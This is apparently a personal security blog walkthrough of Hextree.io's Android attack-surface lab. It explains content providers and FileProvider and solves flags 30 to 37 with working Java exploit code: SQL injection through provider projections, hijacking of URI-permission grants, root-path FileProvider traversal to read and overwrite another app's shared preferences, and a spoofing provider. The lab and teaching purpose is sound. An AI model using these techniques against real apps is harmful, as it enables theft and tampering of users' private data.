Skip to main content
  1. Posts/

Android - Content and File Providers

·22 mins
android mobile
Table of Contents

What is a Content Provider?
#

A Content Provider presents data to external applications as one or more tables - where a row represents an instance of some type of data that the provider collects and a column in the row represents an individual piece of data collected for a given instance. So content providers coordinate access to your application’s data storage layer for multiple APIs and components such as:

  • Sharing access to your app data with other apps
  • Sending data to a widget
  • Returning custom search suggestions for your application
  • Synchronizing app data with your server (AbstractThreadedSyncAdapter)
  • Loading data in your UI (CursorLoader)

content-1

Imagine a social media app where you can add friends based on the contacts in the app that stores phone numbers for contacts. Instead of sharing each individual contact from one app to the other, you can use a content provider to share the contacts between the two apps. The contacts app would hold those contact entries in its content provider and the social media app would access those contacts through the content provider.

Accessing a Provider
#

To access data within a content provider, you need to use the ContentResolver object within your application’s context to communicate with the provider as a client. The provider object receives requests from clients, performs an action, and returns the results.

Before you can actually ask anything from the provider, you need to have the relevant permissions. In our example we want to access the contacts provider to see the details about contacts. The permission to read the provider looks like this:

<uses-permission android:name="android.permission.READ_CONTACTS" />

Depending on the version of android being used you may also have to ask the user programmatically like so:

if(checkSelfPermission("android.permission.READ_CONTACTS") != PackageManager.PERMISSION_GRANTED) {  
    requestPermissions(new String[]{"android.permission.READ_CONTACTS"},42);  
}

Now that the app has been given the permission - we can query the content provider’s data like this:

@Override  
public void onClick(View v) {  
    getContentResolver().query(ContactsContract.RawContacts.CONTENT_URI,  
            null, null, null,null);  
    ((TextView) findViewById(R.id.text_out)).setText(ContactsContract.RawContacts.CONTENT_URI.toString());  
}

We need to use the ContentResolver object to communicate with a provider as a client, in this case we are using getContentResolver. Then we specify that we want to query the data of the contacts content provider - and to specify which data we want to query we need to define a URI. In this case it resolves to the following:

content://com.android.contacts/raw_contacts

This provider URI has a few parts: com.android.contacts is the authority, or the app that this provider belongs to. The items after the / character are for projection (or columns), selections, and a few other arguments. You can think of these like SQL statements using this table from the documentation:

(Didn’t want to make a shortcode for tables to format correctly, so just the reference to the table is here)

Reference: Here

In our example we are using null to get all the data in each of those fields. This oversecured blog post has some code we can use to dump that provider’s contents.

@Override  
public void onClick(View v) {  
    Cursor cursor = getContentResolver().query(ContactsContract.RawContacts.CONTENT_URI,  
            null, null, null,null);  
    ((TextView) findViewById(R.id.text_out)).setText(ContactsContract.RawContacts.CONTENT_URI.toString());  
  
    if (cursor.moveToFirst()) {  
        do {  
            StringBuilder sb = new StringBuilder();  
            for (int i = 0; i < cursor.getColumnCount(); i++) {  
                if (sb.length() > 0) {  
                    sb.append(", ");  
                }  
                sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));  
            }  
            ((TextView) findViewById(R.id.text_out)).append("\n"+sb.toString());  
        } while (cursor.moveToNext());  
    }  
  
}

Now when we press the button in our app we can see the contacts output to the screen:

content-2

Flag 30 - Content Provider Query
#

(Again, these labs are from the attack surface app on Hextree.io)

Let’s explain while we go to make this more interesting. We can see the use of exported providers in the android manifest:

content-3

Here we see the name of the provider and the name of the authority which is crucial for us to call it. Before we can actually interact with the target app we need to specify this in our manifest:

<queries>  
    <package android:name="io.hextree.attacksurface" />  
</queries>

Now lets examine the code for Flag30Provider:

content-4

So it seems like all we need to do is call the provider with /success and we should get the flag. To make this and some future challenges easier, we can move the dumping code from earlier into our Utils.java class:

---SNIP---
public static String dumpContentProvider(Cursor cursor) {  
    if(cursor == null)  
        return "";  
  
    StringBuilder sb = new StringBuilder();  
    if (cursor.moveToFirst()) {  
        do {  
            StringBuilder rowsb = new StringBuilder();  
            for (int i = 0; i < cursor.getColumnCount(); i++) {  
                if (rowsb.length() > 0) {  
                    rowsb.append(", ");  
                }  
                rowsb.append(cursor.getColumnName(i)).append(" = ").append(cursor.getString(i));  
            }  
            sb.append(rowsb).append('\n');  
        } while (cursor.moveToNext());  
    }  
    cursor.moveToFirst();  
    return sb.toString().trim();  
}
---SNIP---

Now we can make use of this to get the flag in both the app and our log output:

@Override  
public void onClick(View v) {  
    Cursor cursor = getContentResolver().query(Uri.parse("content://io.hextree.flag30/success"),  
            null,null,null,null);  
    Log.i(MainActivity.class.getName(),Utils.dumpContentProvider(cursor));  
}

After launching the app and pressing the button, we can see the flag in both our log output and the attack surface app:

content-5

content-6

Flag 31 - Provider URI Matching
#

In this example we need to perform a similar action as last time but with some more constraints. We can look over the code and see it is a bit longer with some more functionality:

content-7
content-8

If we try to query the flags URI in our activity we see the following error in our logs:

content-9

This is the expected behavior, so if we change it to /flag and set the number afterward to 31 we should get the flag:

content-10

Flag 32 - Injections in Content Provider
#

This one starts out a lot like flag 31 but it requires us to perform SQL injection in the content provider. This isn’t some super specific example, as lots of content providers use SQLite databases to store information.

First if we look in the code for flag 32 we see that flags should be implemented, but it only shows us the two flags we already have:

content-11

So what does visible mean? The answer is hinted in the last two activities but we got lazy so now is the time to actually think a bit more.

content-12

We can see the SQL query being constructed and it passes the selection parameter that we control. The query checks to see that the flags are visible and then gets the ones relevant to those we asked for in the parameter. We used null which will default to show all rows - if we look at the FlagDatabaseHelper we can understand why we don’t get the new flag:

content-13

This flag doesn’t have visible set to true so that query won’t print it. As we briefly covered though - our input is being passed to the SQL query so we can try and inject it like so:

content-14

We can inject logic into the SQL statement so that regardless of whether or not the flag has visible set to true, the query will reveal it anyways.

Content Provider Access Permissions
#

What about when we want to try and access a non-exported content provider?

This is a very good question and will likely be more applicable to real-world testing. Sharing access to content providers is a feature in android used to give other apps access without giving direct file access. This trait means that a more typical provider would look like this:

<provider
    android:name=".providers.TestProvider"
    android:authorities="io.hextree.testAuthority"
    android:enabled="true"
    android:exported="false"
    android:grantUriPermissions="true" />

As you can see, the provider isn’t exported (unlike the last few examples) but the grantUriPermissions is enabled - which means that the provider can’t be directly interacted with. So how can we interact with it? The answer to this question is mostly found in the documentation under alternative forms of provider access.

One of these categories is data access using intents where the following information is present:

You can access data in a content provider, even if you don’t have the proper access permissions, by sending an intent to an application that does have the permissions and receiving back a result intent containing URI permissions. These are permissions for a specific content URI that last until the activity that receives them is finished. The application that has permanent permissions grants temporary permissions by setting a flag in the result intent

These flags are in two forms for read and write:

  • FLAG_GRANT_READ_URI_PERMISSION
  • FLAG_GRANT_WRITE_URI_PERMISSION

To recap, even though the provider can’t be directly interacted with ~ these alternate ways to provision provider access allow other apps to query the provider so long as they send an intent with one of these flags.

Imagine an app that starts an activity and expects a result, another app can then share access to its own content provider by returning an intent to the calling class like this:

intent.setData(Uri.parse("content://io.hextree.example/flags"));
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
setResult(RESULT_OK, intent);

If this explanation is a bit confusing (first, I apologize) - maybe it will make more sense if we go through an example.

Flag 33.1 - Return Provider Access
#

Looking at the manifest we are met with something new:

content-15

But we also have more than just a provider to look at - there is also an activity for this flag:

content-16

Let’s examine the activity first given that it is exported:

content-17

We see that the code is designed to handle an incoming intent with the action FLAG33. The activity will then modify our intent to contain a content URI and a flag set to 1. The intent is then returned back to the calling app (our application) using setResult. The only confusing thing here is that the flag added to the intent is set to 1 - and a quick reference to the documentation reveals that this is the constant value for FLAG_GRANT_READ_URI_PERMISSION.

When this flag is set, the recipient of the intent (our app) will be granted permission to perform read operations on the URI in the Intent’s data. This is basically giving our application access to that non-exported content provider from earlier.

In order to send an intent like this we can modify our main activity like so:

@Override  
public void onClick(View v) {  
    Intent intent = new Intent("io.hextree.FLAG33");  
    intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag33Activity1");  
  
    startActivityForResult(intent, 1);  
}

I also moved the handling of the incoming data to another function:

@Override  
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data){  
    super.onActivityResult(requestCode, resultCode, data);   
    Cursor cursor = getContentResolver().query(data.getData(),  
            null,null,null,null);   
    Log.i(MainActivity.class.getName(),Utils.dumpContentProvider(cursor));  
}

The issue though is that we aren’t able to get the flag 33 with this, which makes sense if we just take a look at the FlagDatabaseHelper class again and keep the actual SQL-ish query we are sending:

content-18

So keep in mind that when we use null in our cursor, we are basically just saying get everything from the tables, rows, etc. This makes sense here and we still get all the flags from last time. Which might make you think that the query being run is something like this:

SELECT projection FROM uri WHERE selection ... 

Remember how this maps back to those inputs for getContentResolver().query:

Cursor cursor = getContentResolver().query(Uri.parse("content://io.hextree.FLAG32"),null,null,null,null);
//where the null values are projection, selection, selectionArgs, and sortOrder

Now, lets examine FlagProvider1:

content-19

We can see that this provider only seems to call from the TABLE_FLAG tables, which won’t work for us because flag 33 is inside the notes table. We just need to keep in mind how that query() method works to get us to the right answer:

Cursor cursor = db.query(
    FeedEntry.TABLE_NAME,   // The table to query (TABLE_FLAG, or Flag)
    projection,             // The array of columns to return (strArr)
    selection,              // The columns for the WHERE clause (str)
    selectionArgs,          // The values for the WHERE clause (strArr2)
    null,                   // don't group the rows (null)
    null,                   // don't filter by row groups (null)
    sortOrder               // The sort order (str2)
    );

So we know the start of that query is probably something like this:

SELECT projection FROM Flag WHERE selection ...

Given that we want to get something from the Note table, we can modify the projection parameter to get all the columns from there:

SELECT * FROM Note; -- - FROM Flag WHERE selection...

We can implement that code in our onActivityResult class like so:

@Override  
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data){  
    super.onActivityResult(requestCode, resultCode, data);  
    String[] projection = new String[]{"* FROM Note; -- -"};  
    Cursor cursor = getContentResolver().query(data.getData(),  
            projection,null,null,null);  
    //resulting query: `SELECT * FROM Note; -- - FROM Flag WHERE selection...`
    Log.i(MainActivity.class.getName(),Utils.dumpContentProvider(cursor));  
}

Then when we run it, we are given the temporary permissions to call the content provider and our SQL injection payload goes through without any issues.

content-20

Flag 33.2 - Implicit Provider Access
#

This one is a bit more tricky because we need to take advantage of implicit intents. In this scenario we need to start a non-exported activity (Flag33Activity2) from the attack surface app itself and then posture our app to handle that implicit intent.

We will just examine the activity because the provider acts pretty much the same and has the same SQLi vulnerability for us to exploit:

content-21

We need to make another activity in our malicious app and modify the manifest to catch this implicit intent:

<activity  
    android:name=".SecondActivity"  
    android:exported="true" >  
    <intent-filter>
	    <action android:name="io.hextree.FLAG33" />  
        <category android:name="android.intent.category.DEFAULT" />  
        <data android:scheme="content" android:host="io.hextree.flag33_2" />  
    </intent-filter>
</activity>

Then we just need to prepare logic that handles the incoming intent:

public class SecondActivity extends AppCompatActivity {  
  
    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
        EdgeToEdge.enable(this);  
        setContentView(R.layout.activity_second);  
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {  
            Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());  
            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);  
            return insets;  
        });  
        boolean finishIt = handleReceivedIntent();  
        if (finishIt) {  
            finish();  
        }  
    }  
  
    private boolean handleReceivedIntent() {  
        if ("io.hextree.FLAG33".equals(getIntent().getAction()) && "content://io.hextree.flag33_2/flags".equals(getIntent().getData().toString())) {  
            assert (getIntent().getFlags() & Intent.FLAG_GRANT_READ_URI_PERMISSION) == Intent.FLAG_GRANT_READ_URI_PERMISSION;  
            String[] projection = new String[]{"* FROM Note; -- -"};  
            Cursor cursor = getContentResolver().query(  
                    getIntent().getData(), projection, null, null, null);  
  
            Log.i("flag33_2", Utils.dumpContentProvider(cursor));  
            if (cursor != null) {  
                cursor.close();  
            }  
            return false;  
        }  
        return false;  
    }  
}

We first check that the incoming intent has the correct action set and that the data URI matches what we want. We then also check that the read URI permission is set as expected. Then all we need to do is the same SQL injection method from before.

content-22

Hijacking Content Provider Access
#

Sharing access to these content providers is an important feature in the larger android ecosystem. We will probably often see content providers not being exported but rather setting the grantUriPermissions to true. This is better than just exporting because it can be implemented to only give access to specific apps. (This is what we saw where the intents can be sent with the read flag set to allow other apps to query the content provider.)

These are voluntary ways to administer access - but imagine a scenario where an application has the following logic:

protected void onCreate(Bundle bundle) {  
    super.onCreate(bundle);   
    ComponentName caller = getCallingActivity();  
    if (caller != null) {  
        if (caller.getClassName().contains("Hextree")) {  
        //some logic  
        } else {  
        Log.i("Error", "access denied");  
        setResult(0, getIntent());  
        }  
    }  
}

In this case, if an incoming intent doesn’t meet some condition, the intent is just returned back to the sender. If we want to gain access to a non-exported content provider, we need to receive an intent with the content provider URI and the flag set to FLAG_GRANT_READ_URI_PERMISSION. Because the incoming intent is returned by this app when some condition is not met - we (as an attacker) can start the activity with our intent that has a content URI and read permission set and when that intent is returned back to us by the target app - our app will effectively now have the permissions needed to query a content provider.

If you wanted to expand the impact of a finding like this, you could try and take advantage of other permissions the app has been given by the user - like the ability to access to photos and contacts.

What is FileProvider?
#

There is more to content providers than just querying them though - we can also open files, you may have seen this while looking through the documentation. We can even follow along with the code shown in the course section of the developer documentation to see how this might be done here.

Without adding any additional permissions to the app or prompting the user for access we can see that the app will ask the user to select files, in this case photos:

content-23

If you have some additional logging enabled you may have noticed that the action was performed with an intent that, as we saw earlier, has the grant read URI permissions. We even get to see that the content URI used as the data for the intent.

content://media/picker/0/com.android.providers.media.photopicker/media/1000000035

Although the file in this case is specified by the user and our app is only given access to that one file. This might be useful for an app that makes edits to photos where we just need to access one file at a time - again because of shareable content providers.

What does this have to do with file providers?

Well we need to talk about AndroidX which is the namespace that contains the Android Jetpack libraries. These are a very common set of libraries used by android developers - one in particular is FileProvider which we can now dive deeper into.

We can see this being used in the intent attack surface app:

<provider
    android:name="androidx.core.content.FileProvider"
    android:exported="false"
    android:authorities="io.hextree.files"
    android:grantUriPermissions="true">
        <meta-data
            android:name="android.support.FILE_PROVIDER_PATHS"
            android:resource="@xml/filepaths"/>
</provider>

The authority is io.hextree.files and it isn’t exported. We also see a meta tag that references the following XML file:

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <files-path
        name="flag_files"
        path="flags/"/>
    <files-path
        name="other_files"
        path="."/>
</paths>

We can see how this is implemented in Flag34Activity:

content-24

This expects an incoming intent where if no filename is specified it will prepare a file path in io.hextree.files that contains secret.txt. This is then used as a parameter in getUriForFile and the returned URI is inserted into intent2 where it is given the read permission and sent back to the calling app.

Using this information we can set up an activity where we send the intent the same way we normally do by pressing a button:

public void onClick(View v) {  
    Intent intent = new Intent();  
    intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag34Activity"));  
    startActivityForResult(intent, 42);  
}

Then we have another method for handling the resulting intent that will be sent back to us:

@Override  
protected void onActivityResult(int requestCode, int resultCode, Intent data){  
    super.onActivityResult(requestCode, resultCode, data);  
    Log.i("Hextree","Uri: "+data.getData());  
    try{  
        InputStream inputStream = getContentResolver().openInputStream(data.getData());  
        BufferedReader reader =new BufferedReader(new InputStreamReader(inputStream));  
  
        String line;  
        while ((line = reader.readLine()) != null){  
            Log.d("File"," [~] "+line);  
        }  
    }catch (IOException e){  
  
    }  
    Utils.showDialog(this,data);  
    super.onActivityResult(requestCode, resultCode, data);  
}

Now when we run it we get back an intent with the content URI and we are then able to open the file:

content-25

Flag 34 - Simple File Provider
#

From what we have already covered above, all you need to do is add an intent extra to satisfy the condition that will send the flag to us:

@Override  
public void onClick(View v) {  
    Intent intent = new Intent();  
    intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag34Activity"));  
    intent.putExtra("filename","flags/flag34.txt");  
    startActivityForResult(intent, 42);  
}

Boot up the app and we will get the flag in the log as we did just a moment ago:

content-26

Insecure FileProvider Configurations
#

An improperly configured file provider can expose unintended files and directories to an attacker. We looked at a configuration in the meta-data tags where an XML file determines the file path - but these resources can be configured in an unsafe way, which will generally lead to data leakage in the scenario that it is vulnerable.

In our previous example we saw a solid path restriction where it was limited to a narrow path:

<paths>
    <files-path name="flag_files" path="flags/"/>
    <files-path name="other_files" path="."/>
</paths>

As you can see above, the paths are set to specific directories within the application’s working directory, but of course you can set this to whatever you want as a developer - which means there are plenty of less safe paths. Here is a list of some of them, provided by Oversecured:

  • The root-path, allowing arbitrary files from /.
  • Files in the private files or cache directory: /data/user/0/com.victim/files or /data/user/0/com.victim/cache.
  • Files on the SD card: /sdcard.
  • The files or cache folders within the SD card: /sdcard/Android/data/com.victim/files/ or /sdcard/Android/data/com.victim/cache/.
  • Media files on the SD card: /sdcard/Android/media/com.victim/.

So a threat model for this would be that your published app is accidentally exposing a content provider that has excessive permissions on the file system - and if an attacker app can interact with this content provider, it could also access those sensitive directories and files.

Flag 35 - Root-File Provider
#

We can start by looking at the manifest:

content-27

This provider isn’t exported, so we can look at the provider to get more information. We also see that the metadata is pointing us towards a rootpaths file which looks like this:

<?xml version="1.0" encoding="utf-8"?>  
<paths>  
    <root-path  name="root_files"  path="/"/>  
</paths>

The Flag35Provider class just looks like a wrapper for the default FileProvider class:

content-28

If we go and look at Flag35Activity it is very similar to the last one we did, only this time it is using the io.hextree.root authority to get the URI for the file.

content-29

So pretty similar to the last time and we barely need to modify our solution code. To recap, this code is meant to receive an intent with a filename parameter and send it back with read permissions, allowing the calling app to read a file restricted to the directories in that activity’s file provider XML file. In this case, we just need to declare that we want to talk to activity 35 and look at the result:

content-30

We see that the content URI is the authority as expected and the root_files path, which makes sense as it is the name declared in the file path XML file. The interesting thing is that what follows it is a path from / to the file we tried to call. We don’t see any file output because no file called flag35.txt exists within that directory. This allows us to just navigate freely between files:

content-31

An example of why this is super sensitive is that any file in the / directory can now be read with the app’s level of permissions, which (depending on the app) can be a huge deal if the app is for example a password manager.

In this specific case though with Flag35Activity, not only can we read file contents in the root directory but we can also write them…

FileProvider Write Access
#

So far we have only been using the read permissions, but we also need to consider the potential of write permissions. Apps can share write permissions to directories in the same way that they administer read permissions. In fact, we have already seen this happen previously in the last two flag activities:

intent.addFlags(3);

In this case, it is given using the 3 integer for read and write permissions, but you can also grant it like this:

intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); intent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

In the case of Flag35Activity we have permissions to write any files within the / directory. We can practice this process of writing files by solving the flag 36 challenge.

Flag 36 - Overwriting Shared Prefs
#

We can take a look at the exported activity and see the conditions required to get the flag:

content-32

So if the preference for solved is set to true somewhere we will get the flag. The Flag36Preferences class uses the SharedPreferences set of classes - which are stored as a file in the application’s directory. We can see this by looking in the shell using adb:

╰─ adb shell
emu64x:/ # ls /data/data/io.hextree.attacksurface/shared_prefs
Flag36Preferences.xml  HextreePreferences.xml
emu64x:/ # cat /data/data/io.hextree.attacksurface/shared_prefs/Flag36Preferences.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <boolean name="solved" value="false" />
</map>

So, we just need to rework our solution for flag 35 to write changes to the specified directory instead of trying to read them. We are still targeting the Flag35Activity so we will leave that the same, but we need to point towards a different file:

public void onClick(View v) {  
    Intent intent = new Intent();  
    intent.setComponent(new ComponentName("io.hextree.attacksurface",  
            "io.hextree.attacksurface.activities.Flag35Activity"));  
    intent.putExtra("filename",  
            "../../../../data/data/io.hextree.attacksurface/shared_prefs/Flag36Preferences.xml");  
    startActivityForResult(intent, 42);  
}

Now we need to modify the activity result handler to write the changes we need:

///~~~SNIP~~~///
try{  
    ParcelFileDescriptor fileDescriptor = getContentResolver().openFileDescriptor(data.getData(), "w");  
    if (fileDescriptor != null){  
        BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter(fileDescriptor.getFileDescriptor()));  
        bufferedWriter.write(  
                "<?xml version='1.0' encoding='utf-8' standalone='yes' ?>\n" +  
                        "<map>\n" +  
                        "    <boolean name=\"solved\" value=\"true\" />\n" +  
                        "</map>\n"  
        );  
        bufferedWriter.close();  
        fileDescriptor.close();  
    }
///~~~SNIP~~~///

So, we open the file we declared in the intent using the w (for write) file descriptor, opening it in write mode. Then we can use BufferedWriter to write our content to the text file - here we just copy the file contents and change the solved value to true. Then we just need to run this app and get the flag:

content-33

The actual implications for the impact of writing to an arbitrary directory on the Android file systems are pretty severe. Instead of just leaking sensitive information from other apps and the OS itself, you could overwrite native libraries loaded by other apps - which could be leveraged to achieve remote code execution.

Flag 37 - Filename Traversal
#

This one is a lot more tricky and took me a solid amount of time to complete. First we review and try to understand the code:

content-34

So the code performs the following:

  • Takes the data in the form of a content URI from an incoming intent
  • Constructs a query to that content URI
  • Extract the file name and the file size and write them to string and j respectively
  • Make sure that the file name is ../flag37.txt and the file is 1337 bytes in size
  • Check the file content and see if it matches get flag, if it does then reveal the flag

So our solution will require us to make a content provider and reference it in an intent that we send to the app. The content provider should contain the two columns for the file name and size, then we should add the get flag text to the new file we made.

First, we need to make our content provider, which is very similar to the default code but with the following differences:

//~~~SNIP~~~///

@Override  
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {  
    MatrixCursor cursor = new MatrixCursor(new String[]{OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE});  
    cursor.addRow(new Object[]{"../flag37.txt", 1337});  
    return cursor;  
}

///~~~SNIP~~~///

@Override  
public ParcelFileDescriptor openFile(Uri uri, @NonNull String mode) throws FileNotFoundException {  
  
    try {  
        ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();  
        ParcelFileDescriptor.AutoCloseOutputStream outputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipe[1]);  
  
        new Thread(() -> {  
            try {  
                outputStream.write("give flag".getBytes());  
                outputStream.close();  
            } catch (IOException e) {  
                Log.e("AttackProvider", "Error When Writing: ", e);  
            }  
        }).start();  
  
        return pipe[0];  
    } catch (IOException e) {  
        throw new FileNotFoundException("Pipe Failed to Open for: " + uri.toString());  
    }  
}

///~~~SNIP~~~///

So we first make the object with the correct name and size. Then we make a pipe and dynamically write the correct content to the output side of the pipe (1) and the input side (0) is returned to the caller (The flag activity) as if it were a file. While it may have been easier to just create a file in the content provider that filled these conditions, I couldn’t get it to work reliably.

We need to modify our android manifest:

<provider  
    android:name = ".AttackProvider"  
    android:authorities = "io.hextree.providertest.AttackProvider"  
    android:enabled = "true"  
    android:exported = "true">  
</provider>

Then in our main activity we need to map our button to call the flag activity and send our content provider’s URI:

@Override  
public void onClick(View v) {  
    Intent intent = new Intent();  
    intent.setComponent(new ComponentName("io.hextree.attacksurface",  
            "io.hextree.attacksurface.activities.Flag37Activity"));  
    intent.setData(Uri.parse("content://io.hextree.providertest.AttackProvider"));  
    intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);  
    startActivityForResult(intent, 42);  
}

Then we can spin up the app and run it to get our flag:

content-35

Wrapping Up
#

So we’ve seen some examples of how file providers and content providers can be taken advantage of if not implemented correctly. Specifically - we have seen some implicit provider access, SQLi into the content providers, and examples of file providers with unsafe path configurations.

Related

Android - Intent Attack Surface
·27 mins
android mobile
Preface # Similar to the last few android pentesting blog posts - this is heavily based off of the Hextree.
Android - Dynamic Instrumentation
·8 mins
android mobile
What is Dynamic Instrumentation? # The more straight forward approach of understanding these android applications is by decompiling them and examining the code - after all the apk is just an archive.
Android - Intercepting Network Communications
·7 mins
mobile android
The Flow Chart # We need a bit more than just a proxy and a neat interception tool like Burp Suite in order to inspect the traffic of some android applications.